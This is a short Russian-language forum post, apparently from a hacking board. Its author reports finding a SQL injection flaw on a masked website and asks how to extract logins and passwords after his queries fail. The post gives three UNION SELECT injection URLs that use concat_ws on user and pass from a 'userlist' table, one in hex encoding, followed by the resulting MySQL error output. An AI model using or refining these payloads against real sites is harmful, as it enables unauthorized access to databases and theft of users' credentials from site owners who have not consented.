Нашёл ошибку на сайте, подобрал таблицы всё, при попытке получить данные запросом:
http://www.********/price/index.php?id_parent=1%20union%20select%201,2,3,4,5 ,concat_ws(0x3a,user,pass),7,8,9,10,11,12,13+from+ 0x757365726c697374+limit+0,1--+
либо:
http://www.********/price/index.php?id_parent=1%20union%20select%201,2,3,4,5 ,concat_ws(0x3a,user,pass),7,8,9,10,11,12,13+from+ userlist+limit+0,1--+
либо:
http://******/price/index.php?id_parent=1%20union%20select%201,2,3,4,5 ,concat_ws%28
0x3a,user,pass%29,7,8,9,10,11,12,13 from 0x757365726c697374 0,1--+
получаю ошибку:
Код:
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/****/www/price/price.php on line 52
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/***/www/price/price.php on line 79
как вытащить данные? при этом все таблицы, колонки выводит, ошибка возникает только при выводе логина и пароля.
то что в таблице
userlist есть
user,pass точно.